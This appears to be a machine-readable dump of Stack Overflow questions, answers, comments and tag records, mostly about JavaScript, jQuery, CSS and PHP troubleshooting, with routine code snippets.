tags question: http://stackoverflow.com/q/25574070
tags question: http://stackoverflow.com/q/25596242
tags question: http://stackoverflow.com/q/25574099
tags question: http://stackoverflow.com/q/25666939
type: Tag
tags question: http://stackoverflow.com/q/25661848
tags question: http://stackoverflow.com/q/25623332
tags question: http://stackoverflow.com/q/25627220
tags question: http://stackoverflow.com/q/25623831
tags question: http://stackoverflow.com/q/25671222
tags question: http://stackoverflow.com/q/25618250
tags question: http://stackoverflow.com/q/25606071

http://stackoverflow.com/comment/40120684
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25589562
type: QuestionComment
has text: What you're saying, essentially, is that you're connecting your keyboard via bluetooth, and then when you type (assuming your program is running and in focus) it executes the command to control something - and what you want, is to be able to use the keyboard to control it without having to have the terminal in focus, right?

http://stackoverflow.com/comment/40223912
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25695379
has text: That seems to be working, but now, neither map is correct, and when I change the layer of one, the other goes grey, is it possible to have two maps being implemented like this?

http://stackoverflow.com/q/25694815
type: UnansweredQuestion
tagged with: scope
has comment: http://stackoverflow.com/comment/40161582
type: Question
has title: passing objects to other objects in javascript?
has comment: http://stackoverflow.com/comment/40163494
answer count: 1
tagged with: node.js
tagged with: oop
score: 0
has answer: http://stackoverflow.com/a/27230962
has comment: http://stackoverflow.com/comment/40162488
has body: I have an object objOne and another objTwo, defined thus (please note the comment where I have the question): function objOne(varA, varB) { this.varA = varA; this.varB = varB; } objOne.prototype = { constructor: objOne, funcA: function() { //do stuff } } function objTwo(varA) { this.varA = varA; } objTwo.prototype = { constructor: objTwo, funcB: function() { //do stuff //NEED TO USE objOne's instance's funcA here } } I am developing in NodeJS. In my server.js, I made an instance of objOne and objTwo: objOne = new objOne(a, b); objTwo = new objTwo(c); How do I make objOne available for objTwo? This way is the only way that worked: //modifed objTwo constructor: function objTwo(varA, objOne) { this.varA = varA; this.objOne = objOne; } then in the definition for funcB: funcB: function() { this.objOne.funcA(); //do other stuff } but this has the nasty side effect of making my objTwo have objOne as one of its members, which I do not want. Is there a more elegant way of making funcA available in funcB without associating objOne with objTwo? Thank you.
has comment: http://stackoverflow.com/comment/40161509
tagged with: javascript

http://stackoverflow.com/comment/40121641
has text: FWIW your fiddle works fine on iPhone 4 iOS7 Safari. I don't have an iPad to test with.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25560692

http://stackoverflow.com/a/25616232
answers question: http://stackoverflow.com/q/25616136
has comment: http://stackoverflow.com/comment/40018222
type: Answer
has body: First of all, 1) your form id is empty! so, you will get only empty in alert. Second of all, 2) please provide inside not the other way around. Your code format should be like this:
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/40018184
downvote count: 0

http://stackoverflow.com/q/25663762
tagged with: jquery-animate
answer count: 1
downvote count: 0
score: 1
tagged with: jquery
has body: I'm trying to create fixed-top menu, and resize them (by changing padding top&amp;bottom) when window scrolled down > 300px for example. If i try that after 300px from top, set css style like $('nav').css('padding', '30px 0 30px 0'); all work fine, but if i try to do this with animation, i get huge latency between events. There is example: Without animate - http://jsfiddle.net/g3xLgLeb/1/ (all work fine) With animate - http://jsfiddle.net/g3xLgLeb/ (huge latency)
favorite count: 0
has title: Padding animate latency
tagged with: animation
tagged with: css
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40104762
has answer: http://stackoverflow.com/a/25664214
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40104572
tagged with: javascript
linked to: http://stackoverflow.com/q/16442016
accepted answer: http://stackoverflow.com/a/25664214

http://stackoverflow.com/comment/40003765
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25606757
has text: Its because I am trying to do a log chart (I think). I am getting quite confused as to how stock quotes display the data ranges. I have tried many ways and I never see the data displayed as they do

http://stackoverflow.com/q/25562658
tagged with: typescript
has body: I am creating an object (a dummy http response object) as illustrated below: res = { body : '', write : (text : string) =&gt; { this.body = this.body + text; }, end : () =&gt; {} }; But the typescript compiler is giving error: error TS2108: 'this' cannot be referenced within module bodies. I know this is possible (to have this inside object) in javascript, how to accomplish this in typescript?
type: AnsweredQuestion
tagged with: javascript
has answer: http://stackoverflow.com/a/25562964
type: Question
tagged with: node.js
has title: How to create an object with functions and data in typescript?
has answer: http://stackoverflow.com/a/25563257
score: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/25563257
accepted answer: http://stackoverflow.com/a/25562964

http://stackoverflow.com/a/25583160
has body: No this is not with Google Maps API. Google MAP Api is flexible with the usage. They don't shut down API if your usage goes beyond 25000 in a day. They check it for period of 90 days. If usage is still higher then you need to buy paid service. For reference please check this link below https://developers.google.com/maps/documentation/javascript/usage Regards Atul
has comment: http://stackoverflow.com/comment/39957938
answers question: http://stackoverflow.com/q/25574897
downvote count: 0
has comment: http://stackoverflow.com/comment/39957837
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/q/25684787
has answer: http://stackoverflow.com/a/25888136
has title: Ruby on Rails - js stops working on js.erb file
has comment: http://stackoverflow.com/comment/40479456
has comment: http://stackoverflow.com/comment/40485196
has body: I have one view. In this view I want to paginate with AJAX 4 different things. I got 2 of them working. And when I added the third (doing the same method as the others) the previous 2 stopped working. Gonna paste some code for you guys to understand. The view for the 2 paginations working with AJAX: &lt;div id="ofertas"&gt;&lt;%= render "ofertas_ajax" %&gt;&lt;/div&gt; this renders a partial with a normal loop through the colletion of items and the will paginate links. all fine. the other that is working is this: &lt;div id="historico"&gt;&lt;%= render "historico_ajax" %&gt;&lt;/div&gt; this renders a partial just as the other above. My application.js for these 2: $(document).on("click","#ofertas .pagination a",function(e){ e.preventDefault(); $.getScript(this.href); }); $(document).on("click","#historico .pagination a", function(e){ e.preventDefault(); $.getScript(this.href); }); My home.js.erb because all these divs are in the home.html.erb view $("#ofertas").html("&lt;%= escape_javascript(render("ofertas_ajax")) %&gt;"); $("#historico").html("&lt;%= escape_javascript(render("historico_ajax")) %&gt;"); OK - So this works fine. At least testing it I see no issue and it paginates properly with AJAX. And I added this div for the 3rd pagination: &lt;div id="candidaturass"&gt;&lt;%= render "candidaturaspag" %&gt;&lt;/div&gt; which again renders a normal partial with a normal loop and the correct will paginate links I added this in application.js $(document).on("click","#candidaturass .pagination a",function(e){ e.preventDefault(); $.getScript(this.href); }); again similar to the others. and of course I added this in the home.js.erb file: $("#candidaturass").html("&lt;%= escape_javascript(render("candidaturaspag")) %&gt;"); Now all the paginations don't work. after I add this line. I somehow think my home.js.erb file shouldn't look like this: $("#ofertas").html("&lt;%= escape_javascript(render("ofertas_ajax")) %&gt;"); $("#historico").html("&lt;%= escape_javascript(rend…
has comment: http://stackoverflow.com/comment/40511252
has comment: http://stackoverflow.com/comment/40610625
has comment: http://stackoverflow.com/comment/40638596
upvote count: 0
tagged with: javascript
tagged with: jquery
type: UnansweredQuestion
favorite count: 0
tagged with: ajax
has comment: http://stackoverflow.com/comment/40472193
type: Question
has comment: http://stackoverflow.com/comment/40144321
score: -1
tagged with: ruby
has comment: http://stackoverflow.com/comment/40565820
has comment: http://stackoverflow.com/comment/40479152
tagged with: ruby-on-rails
answer count: 1
downvote count: 1

http://stackoverflow.com/comment/40108428
comment on: http://stackoverflow.com/a/25665815
score: 0
type: AnswerComment
type: Comment
has text: if i understood you correctly, you have a ` ` that is shown by default. When you click on it, you want to hide it always but only if it is not on a specific page you want to hide and redirect. right ?

http://stackoverflow.com/comment/40078259
has text: Changing an anonymous function into a named function is one thing but why are you trying to remove perfectly good unobtrusive JavaScript and replace it with inline JavaScript?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25649202
score: 5

http://stackoverflow.com/a/25610226
has comment: http://stackoverflow.com/comment/40008421
has comment: http://stackoverflow.com/comment/40008538
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25610126
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25610126
has comment: http://stackoverflow.com/comment/40008340
has comment: http://stackoverflow.com/comment/133331455
score: 2
has body: &lt;input type="text" onkeypress="doSomething(this.value);"&gt; will send the entire value of the input element to the function after every key press. Note that best practice is to bind the function on page load using JavaScript, and not with onkeypress but doing the latter gives a one-line example. Here's a doSomething function for testing: function doSomething(what) { console.log(what); } Edited to add: If you don't want to process every keystroke, use the onchange event: &lt;input type="text" onchange="doSomething(this.value);"&gt; Another edit: var timerHandle = false; // global! function setTimer(what) { console.log("Captured keys: " + what); if (timerHandle) clearTimeout(timerHandle); timerHandle = setTimeout(sendItOff,1000); // delay is in milliseconds } function sendItOff() { what = document.getElementById("test").value; console.log("Sending " + what); } The input element now has to have an ID: &lt;input type="text" name="test" id="test" onkeypress="setTimer(this.value);"&gt; This uses a one second (1000 ms) timer. That is very short.
has comment: http://stackoverflow.com/comment/40008637
has comment: http://stackoverflow.com/comment/40008475
has comment: http://stackoverflow.com/comment/40008274

titanium
type: Tag
tag name: titanium
tags question: http://stackoverflow.com/q/25600346
tags question: http://stackoverflow.com/q/25564039
tags question: http://stackoverflow.com/q/25603609

http://stackoverflow.com/q/25623842
has body: I am trying to open a link in a new tab on click of a link , Below is the code for reference. This code works fine in Google chrome but it is not working in IE 9 . Is there way to make it work on IE 9 ? click Me
tagged with: javascript
tagged with: jquery
score: -1
has comment: http://stackoverflow.com/comment/40032133
tagged with: http://stackoverflow.com/tag/html
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40032689
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25623932
upvote count: 1
has comment: http://stackoverflow.com/comment/40033023
has comment: http://stackoverflow.com/comment/40032710
has comment: http://stackoverflow.com/comment/40032058
has title: JavaScript function not working in IE 9
downvote count: 2
has comment: http://stackoverflow.com/comment/40033057
type: Question
has comment: http://stackoverflow.com/comment/40033114

http://stackoverflow.com/comment/40004249
type: AnswerComment
has text: The `RingArray` constructor will accept any array-like object, be it an object that looks like an array, a real array, a jQuery object, a DOM NodeList etc etc. What you do with the data at the current indexed `RingArray` element is up to you. So an array of URLs (strings) will be fine for the `RingArray`.
type: Comment
comment on: http://stackoverflow.com/a/25602114
score: 0

instantiation
type: Tag
tags question: http://stackoverflow.com/q/25602617
tag name: instantiation

http://stackoverflow.com/a/25686483
type: Answer
upvote count: 4
downvote count: 0
score: 4
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25685608
has body: Until now I was always convinced that it would be fired directly, whenever the scroll position changes. Unfortunately (and evidently) that's not the case. While DOM 3 does state A user agent MUST dispatch [the scroll] event when a document view or an element has been scrolled. This event type is dispatched after the scroll has occurred. this doesn't mean "immediately". The CSSOM draft clarifies: [To perform a scroll, repeatedly run these steps]: Perform a [smooth or instant] scroll of box to position. Queue a task to run task, unless a task to run task is in the queue. [where task is does fire a scroll event at the respective target] "Queuing a task" explicitly means that the event is dispatched asynchronously, so the scroll position might already have been changed when a waiting task (like your timer) is executed before the scroll-event-firing task. Also, when performing a smooth scroll, the browser is allowed to change the scroll position multiple times over an arbitrary timespan, before queuing the task to fire the scroll event.
answers question: http://stackoverflow.com/q/25685608

http://stackoverflow.com/a/25590026
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/39970426
has body: you have to set margin auto in this case ,but you have to specify width you have to assign id : { width:100px; } margin: auto;
answers question: http://stackoverflow.com/q/25589902

http://stackoverflow.com/q/25694976
answer count: 9
has answer: http://stackoverflow.com/a/25695101
possible better answer: http://stackoverflow.com/a/25695541
has answer: http://stackoverflow.com/a/25695176
has answer: http://stackoverflow.com/a/25695541
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has answer: http://stackoverflow.com/a/25698636
upvote count: 6
type: AnsweredQuestion
has body: There are two elements inside a container - one (blue) needs to stay to the left, and the other one (green) is centered relative to the outer red. However, if the screen is small enough, the centered container(green) cannot overlap with the container on the left(blue), it should always stay to the right of the blue. Any ideas how this can be accomplished? If not with css, then may be with js? large screen small screen So far i got: Fiddle &lt;div class="red"&gt; &lt;div class="blue"&gt; texttexttexttext &lt;/div&gt; &lt;div class="centered"&gt; Centered Container of fixed width &lt;/div&gt; &lt;/div&gt; .red { height: 100px; text-align: center; border: 3px solid red; position: relative; } .blue { background: blue; height: 100%; float: left; } .centered { display: inline-block; border: 1px solid green; position: absolute; left: calc(50% - 70px); width: 140px; top: 0; } This centers the green container, but it overlaps with the blue on smaller screen. Edit: added some center markings to easily see the centers
has comment: http://stackoverflow.com/comment/40161949
has answer: http://stackoverflow.com/a/25704919
downvote count: 1
type: Question
score: 5
has answer: http://stackoverflow.com/a/25695390
has answer: http://stackoverflow.com/a/25695293
tagged with: javascript
has title: Center element until it meets an obstacle
has answer: http://stackoverflow.com/a/25695075
accepted answer: http://stackoverflow.com/a/25704919
has answer: http://stackoverflow.com/a/25695691
tagged with: jquery
favorite count: 0

http://stackoverflow.com/a/25583604
has comment: http://stackoverflow.com/comment/39958792
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39958623
has comment: http://stackoverflow.com/comment/39958706
type: Answer
has comment: http://stackoverflow.com/comment/39958546
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25577658
has body: Convert your XML data into an SQLite db. SQLite is NOT memory based by default. Query the db when you need the data, problem solved :)
answers question: http://stackoverflow.com/q/25577658
has comment: http://stackoverflow.com/comment/39985613
score: 1

http://stackoverflow.com/q/25604283
score: 0
has body: In the code included below, the script is toggling a div on and off. The .style code, controls the background color of the the parent element of the div being toggled on and off. The code works in Opera but not in Chrome, and I haven't been able to research (search) a solution. I can of course move on and write other code and achieve what I need, but this has my curiosity up now. function CheckOutOpn(){ var Inny = document.getElementById("RightPaneASxOrderForm"); MVxCheckOutForm(); CDxButtonOpnChkOut(); MVxCLOSExBttnChkout(); Inny.style = "background-color:#332223;"; } function CLOSExCheckOut(){ var Inny = document.getElementById("RightPaneASxOrderForm"); MVxButtonOpnChkOut(); CDxCLOSExBttnChkout(); CDxOrderFormItself(); Inny.style = "background-color:#33B32E;"; }
upvote count: 1
has answer: http://stackoverflow.com/a/25604342
accepted answer: http://stackoverflow.com/a/25604342
downvote count: 1
tagged with: javascript
favorite count: 0
answer count: 3
tagged with: css
has answer: http://stackoverflow.com/a/25604494
type: AnsweredQuestion
has title: Chrome not handling .style = "background-color:#333223;"
has answer: http://stackoverflow.com/a/25604425
has comment: http://stackoverflow.com/comment/39996653
tagged with: google-chrome
type: Question
possible better answer: http://stackoverflow.com/a/25604425
has comment: http://stackoverflow.com/comment/39997274
has comment: http://stackoverflow.com/comment/39996896

http://stackoverflow.com/a/25713177
answers question: http://stackoverflow.com/q/25695665
has body: I explain in this answer with examples why you cannot re-use Modifiers It also shows how a modifier will have an effect on multiple renderables by adding those renderables to a view (Render Node) and chained to the Modifier.
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25695665
type: Answer

http://stackoverflow.com/a/25620000
score: 0
has body: You can do this: $(".doMoreClass").click(); first $(".doMoreClass") take all elements with class doMoreClass and for each element call click event.
has comment: http://stackoverflow.com/comment/40030647
has comment: http://stackoverflow.com/comment/40025291
has comment: http://stackoverflow.com/comment/40025594
has comment: http://stackoverflow.com/comment/40026046
has comment: http://stackoverflow.com/comment/40026442
has comment: http://stackoverflow.com/comment/40026318
type: Answer
answers question: http://stackoverflow.com/q/25619902
has comment: http://stackoverflow.com/comment/40026114
has comment: http://stackoverflow.com/comment/40055973

http://stackoverflow.com/a/25711066
answers question: http://stackoverflow.com/q/25710972
type: Answer
has body: Let's try expanding this a bit: var myBool = x ? y : (y ? x : true) return myBool; First block x ? y : ... if X is true, then return value of Y. If Y happens to be true, both are equal. Otherwise return false (no match). Second block if X was false: y ? x : true if Y is true, return X. X was false, so false is returned (no match) if Y is false, return true - both values are false.
score: 0

http://stackoverflow.com/a/25653706
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25633299
has body: FWIW ... This solution differs from @AndrewShepherd's chiefly in that here we take double advantage of the promise returned by asyncProcessUser(). firstly for flow control - the asynchronous sequencing of the inner loop secondly for delivering an array of results, from which the final array of results is built, avoiding the need for an outer promises array. function parseUserArray(userArray, test) { // This function is the original inner for() loop, now expressed as a .map(), // (plus peripheral wrapping and chaining). // It asynchronously processes a single user against all test items, // and returns a promise of an array of results. // The promise resolves when all the individual .finds complete. function asyncProcessUser(user) { return Parse.Promise.when(test.map(function(dataItem) { return (new Parse.Query(Parse.Object.extend("UserFavourite"))) .equalTo('item', dataItem.get('item')) .equalTo('school', dataItem.get('school')) .equalTo('user1', user) .find().then(function(res) { return res.map(function(r) { return r.get('item'); }); }); })).then(function() { return Array.prototype.slice.apply(arguments).reduce(function(arr, arr_) { return arr.concat(arr_); }, []); }); } // This is the original outer for() loop, now expressed as a .reduce(), which is // a common pattern for performing a series of async tasks (ie what was the inner loop). // Here, `userArray.reduce(...)` returns a promise of an array of // the objects returned by `r.get('item')` above. return userArray.reduce( function(p, user) { return p.then(function(arr) { return asyncProcessUser(user).then(function(arr_) { return arr.concat(arr_); }); }); }, Parse.Promise.as([]) );//† "returns a new promise that is resolved with a given value". } † : Documentation for Parse.Promise.as() Without the comments, it's quite concise. The concept is demonstrated here. Don't worry that the demo uses jQuery promises, it's the concept that matters.

http://stackoverflow.com/comment/40053793
type: Comment
has text: add your adapter XML and provide the FULL *EXPECTED* URL structure - edit the question with this information.
comment on: http://stackoverflow.com/a/25601122
type: AnswerComment
score: 0

http://stackoverflow.com/q/25692258
has comment: http://stackoverflow.com/comment/40156483
answer count: 0
type: UnansweredQuestion
has body: I want to access the values of a nested object from a loop, and I have a stored array of properties comma separated. Problem is my result looks like this, ["a,b"] And im looking for this. ["a"]["b"] Properties : var props = ["a,b","f"]; JSON : [ { a: { b: '' c: { d: '', e: '' } } f: '' } ] For each : props.forEach(function (prop, i) { var property = prop.split(","); console.log(property); });
linked to: http://stackoverflow.com/q/18891939
has comment: http://stackoverflow.com/comment/40156464
tagged with: foreach
has title: Access property of object in a loop by array list - js
tagged with: http://stackoverflow.com/tag/json
type: Question
has comment: http://stackoverflow.com/comment/40156757
tagged with: javascript
score: 0

http://stackoverflow.com/comment/40166862
score: 1
comment on: http://stackoverflow.com/q/25692930
has text: can you create a fiddle?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25662041
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40101486
has body: I am using jquery 1.10. I want to know what the difference is between these three functions. Which function is better and why? What is the purpose of the delegate function? $(".dropdown-menu").on("click", ".show_opt_menu", function() { alert("hello"); }); $(".dropdown-menu .show_opt_menu").on("click", function() { alert("hello"); }); $(".dropdown-menu").delegate(".show_opt_menu", "click", function() { alert("Delegate"); }); Can anybody explain me?
has answer: http://stackoverflow.com/a/25662353
upvote count: 7
has answer: http://stackoverflow.com/a/25662274
favorite count: 0
accepted answer: http://stackoverflow.com/a/25662122
answer count: 4
has answer: http://stackoverflow.com/a/25662122
type: AnsweredQuestion
downvote count: 0
score: 7
possible better answer: http://stackoverflow.com/a/25662088
has answer: http://stackoverflow.com/a/25662088
type: Question
has title: What is the difference between jquery on with / without selector parameter and jquery delegate?

http://stackoverflow.com/comment/40087488
type: Comment
comment on: http://stackoverflow.com/q/25654134
score: 3
has text: What does your HTML look like?
type: QuestionComment

http://stackoverflow.com/q/25642473
score: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40067535
has comment: http://stackoverflow.com/comment/40065660
linked to: http://stackoverflow.com/q/5586358
has answer: http://stackoverflow.com/a/25642504
type: Question
has body: I need help with the pattern to distinguish between single line comments and URLs using a regex, both of them have // for example: // this is a single line comment var foo = "http://google.com"; var bar = 1; // This is another single line comment I want to match comments only and ignore the URLs and other strings that are not comments. Here is the regex I have tried: /(\/\/.*)/g I am trying to replace the single line comments in the production ready code.
answer count: 1
has comment: http://stackoverflow.com/comment/40068248
tagged with: javascript
tagged with: pattern-matching
has title: Distinguish between single line comment and url pattern using regular expression
accepted answer: http://stackoverflow.com/a/25642504
tagged with: regex

http://stackoverflow.com/comment/40263831
type: Comment
comment on: http://stackoverflow.com/a/25699237
has text: @Bobstefano Great, works for you :) Updated answer accordingly.
score: 0
type: AnswerComment

http://stackoverflow.com/q/25629374
upvote count: 0
type: Question
score: -2
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25629689
downvote count: 2
answer count: 1
tagged with: jquery
has title: Ajax - PHP : Extract data from a CSV file without submiting
favorite count: 0
tagged with: ajax
has answer: http://stackoverflow.com/a/25629689
has body: I am a total newbie with AJAX, and i am asking if it's possible to read a CSV file from "file input" and extract data from it and display the data in the same page without sumbiting the form. here is my codes : index.html : Choose a CSV File Choose a CSV file : csv_to_array.php : <?php if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . " "; } else { echo "Upload: " . $_FILES["file"]["name"] . " "; echo "Type: " . $_FILES["file"]["type"] . " "; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB "; echo "Stored in: " . $_FILES["file"]["tmp_name"]. " "; $users = array(); $labels = array('id', 'name', 'age'); $fh = fopen ($_FILES["file"]["tmp_name"], 'r'); fgetcsv($fh); if ($fh) { while (!feof($fh)) { $row = fgetcsv($fh, 500, ';'); $tempRow = array(); if (isset($row) && is_array($row) && count($row)>0) { foreach ($row as $key => $value) { $tempRow[$labels[$key ]] = $value; } $users[] = $tempRow; } } fclose($fh); $numLines = count($users); } // I want this to be displayed in index.html : echo $numLines; echo ' '; echo ' '; echo ' ID '; echo ' NAME '; echo ' AGE '; echo ' '; for ($x=0; $x<$numLines; $x++) { echo ' '; echo ' '.$users[$x]['id'].' '; echo ' '.$users[$x]['name'].' '; echo ' '.$users[$x]['age'].' '; echo ' '; } echo ' '; } ?> Thank you in advance guys!
tagged with: http://stackoverflow.com/tag/csv
linked to: http://stackoverflow.com/q/6974684
tagged with: php
has comment: http://stackoverflow.com/comment/40043057
type: AnsweredQuestion

http://stackoverflow.com/comment/39919169
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25562439
has text: hi anwerjunaid , thanks for reply yes I need circular slider with same existing data

http://stackoverflow.com/a/25627486
answers question: http://stackoverflow.com/q/25627282
score: 0
has body: Its best to use JSON for these requests: $return_data = array(); if (condition){ $return_data['status'] = 'success'; } else { $return_data['status'] = 'info'; } echo json_encode($return_data); exit(); Remember to specify return data type: function send() { var data = $('#signup_form').serialize(); $.ajax({ type: "POST", url: "signup_process.php", data: data, dataType: 'json', success: function (data) { alert(data.status); if (data.status == 'success') { // everything went alright, submit $('#signup_form').submit(); } else if (data.status == 'info') { console.log(data.status); $("label#email_error").show(); return false; } } }); return false; };
type: Answer

http://stackoverflow.com/a/25609504
upvote count: 3
has comment: http://stackoverflow.com/comment/40016911
has comment: http://stackoverflow.com/comment/40006041
has comment: http://stackoverflow.com/comment/40006643
has body: when you send data via chrome.runtime.sendMessage, you will be able to get it in your popup by listening to onMessage events. when you send a message from background.js like this, chrome.runtime.sendMessage({msg: 'hello there'}); you can get it in a js file loaded by popup.html: chrome.extension.onMessage.addListener(function(message, messageSender, sendResponse) { // message is the message you sent, probably an object // messageSender is an object that contains info about the context that sent the message // sendResponse is a function to run when you have a response }); See here and here
downvote count: 0
type: Answer
score: 3
answers question: http://stackoverflow.com/q/25609195

http://stackoverflow.com/comment/39944919
comment on: http://stackoverflow.com/q/25575837
score: 2
has text: You can use a promise-based style using something like [`q`](https://github.com/kriskowal/q).
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25637466
tagged with: css
type: AnsweredQuestion
upvote count: 1
has body: HTML: one ⇧ ⇩ two ⇧ ⇩ three ⇧ ⇩ four ⇧ ⇩ five ⇧ ⇩ CSS: table.myTable { counter-reset: rowNumber; } table.myTable tr { counter-increment: rowNumber; } table.myTable tr td:first-child: :before { content: counter(rowNumber); min-width: 1em; margin-right: 0.5em; } javascript: function get_previoussibling(n) { x = n.previousSibling; while (x.nodeType != 1) { x = x.previousSibling; } return x; } function get_nextsibling(n) { x = n.nextSibling; while (x != null && x.nodeType != 1) { x = x.nextSibling; } return x; } function MoveUp() { var table, row = this.parentNode; while (row != null) { if (row.nodeName == 'TR') { break; } row = row.parentNode; } table = row.parentNode; table.insertBefore(row, get_previoussibling(row)); } function MoveDown() { var table, row = this.parentNode; while (row != null) { if (row.nodeName == 'TR') { break; } row = row.parentNode; } table = row.parentNode; table.insertBefore(row, get_nextsibling(get_nextsibling(row))); } FIDDLE:http://jsfiddle.net/z5hroz4p/10/ In html table first td value is taking from css .how to get that value to use in my prgramming Fiddle make you much more clear. Thanks in advance
downvote count: 1
type: Question
linked to: http://stackoverflow.com/q/2651739
has answer: http://stackoverflow.com/a/25638303
tagged with: javascript
has comment: http://stackoverflow.com/comment/40057418
score: 0
answer count: 1
has title: How i can get the td data getting from css to attach to my current row ,and use for my logic
has comment: http://stackoverflow.com/comment/40057375
tagged with: jquery
favorite count: 0
accepted answer: http://stackoverflow.com/a/25638303
has comment: http://stackoverflow.com/comment/40056923
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40066524
score: 0
type: AnswerComment
has text: There may not be any HTML element with `id="player"`
type: Comment
comment on: http://stackoverflow.com/a/25642889

infinite-scroll
tag name: infinite-scroll
tags question: http://stackoverflow.com/q/25613859
type: Tag
tags question: http://stackoverflow.com/q/25629902
tags question: http://stackoverflow.com/q/25594091

http://stackoverflow.com/q/25553227
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25553465
tagged with: jquery
has comment: http://stackoverflow.com/comment/39902154
linked to: http://stackoverflow.com/q/16707224
score: 0
answer count: 3
has title: jQuery Tabs manual activation
has comment: http://stackoverflow.com/comment/39902939
has comment: http://stackoverflow.com/comment/39901616
tagged with: twitter-bootstrap
has comment: http://stackoverflow.com/comment/39903403
type: AnsweredQuestion
tagged with: jquery-ui
has comment: http://stackoverflow.com/comment/39901732
has answer: http://stackoverflow.com/a/25553389
has answer: http://stackoverflow.com/a/25553465
has body: How can I activate a particular tab programmatically? I tried the following code after reading online jQuery docs: $("#MyTabsDiv").tabs( "option", "active", 1 ); This does bring up the specified tab contents, but it doesn't highlight the selected tab's header, which is what happens when I manually click on the tab header. I have tried the "refresh" option too, without any success. I am using Bootstrap 3's TAB css on top of jQuery's tabs()
type: Question
possible better answer: http://stackoverflow.com/a/25555763
has comment: http://stackoverflow.com/comment/39904725
has answer: http://stackoverflow.com/a/25555763

http://stackoverflow.com/q/25634066
score: 2
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/25634114
favorite count: 0
has body: I have a function in javascript to change the background color of some cells in a html table But I need to add an "span" tag to the value of the cell like this: table cell value I don't know how to add this tag into the cell. Can you bring me some snippet or a link where I can take some ideas. Thanks in advance
upvote count: 2
has title: Add span tag with javascript function to html table
tagged with: css
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25634114
tagged with: javascript

http://stackoverflow.com/comment/40121425
has text: @DaveNewton They're being included in the head, rendered as shown in the post.
comment on: http://stackoverflow.com/q/25673055
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25590004
answers question: http://stackoverflow.com/q/25588978
score: 0
type: Answer
has body: Use jQuery's built in queue(), dequeue(), and delay() methods, like so: $(function() { $('#yourElement') .queue('myQueue', function() { /* do stuff... */ // ...then tell jQuery to run the next method // in the 'myQueue' queue in 2 seconds. $(this).delay(2000, 'myQueue').dequeue('myQueue'); }) .queue('myQueue', function() { /* do different stuff... */ // ...then tell jQuery to run the next method // in the 'myQueue' queue in 2 seconds. $(this).delay(2000, 'myQueue').dequeue('myQueue'); }) ... ... ... .dequeue('myQueue'); // run the first function in the queue. })(); Typically you would queue all your functions, then make the initial dequeue() call when they're all complete.

http://stackoverflow.com/q/25617268
type: Question
has answer: http://stackoverflow.com/a/29133808
downvote count: 0
answer count: 1
has title: jQuery event currentTarget dataset
tagged with: javascript
tagged with: jquery
favorite count: 0
tagged with: jquery-data
has comment: http://stackoverflow.com/comment/40020272
has body: In every jQuery event jQuery provides the currentTarget which is the same as this, but as far as I understand the properties of currentTarget depend on your browser. In chrome I can get event.currentTarget.dataset which gives me the data from the element that started the event but I don’t think this works in all browsers. The only cross browser solution that I know of is to get the data by wrapping the currentTarget in another jQuery object like below. var div = jQuery("&lt;div/&gt;").data("numbers", [1,2,3]); div.click(function(e) { var data = jQuery(e.currentTarget).data(); console.log(data.numbers); }); Does anyone know a cross browser solution to get the data without creating a new jQuery object with this/currentTarget? Update: Just to be clear and the reason I ask: We are converting the element that triggered the event into a jQuery object again, sending it through jQuery a second time (it was already a jQuery object to create the event). I'm hoping for a way to carry the already created jQuery object into the event. Slides 44 &amp; 45 on this presentation explain my thought process. You can do this with event.currentTarget.dataset but I don't think its a cross browser solution. In the code above you could use the cached jQuery object div to get the data without recreating a jQuery object. That works for that specific example, but what would you do with a dynamic event like the delegate event below: jQuery("#container").on('click', '.pop-data', function(e) { var data = jQuery(e.currentTarget).data(); alert(data); }); The code above works and is not a bad solution but does anyone know a way to get the data without creating a new jQuery object?
linked to: http://stackoverflow.com/q/23034428
has comment: http://stackoverflow.com/comment/40020353
has comment: http://stackoverflow.com/comment/40020404
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/40020431
has comment: http://stackoverflow.com/comment/40020468
has comment: http://stackoverflow.com/comment/40020479
has comment: http://stackoverflow.com/comment/40020694
score: 1

http://stackoverflow.com/comment/40486046
type: Comment
comment on: http://stackoverflow.com/a/25871559
type: AnswerComment
has text: If you log out the first few decoded bytes (should be `[120, 156, 237, 157, 91, ...]`) maybe you can see some obvious error like wrong endianness or somthing?
score: 0

http://stackoverflow.com/comment/39909073
comment on: http://stackoverflow.com/q/25557042
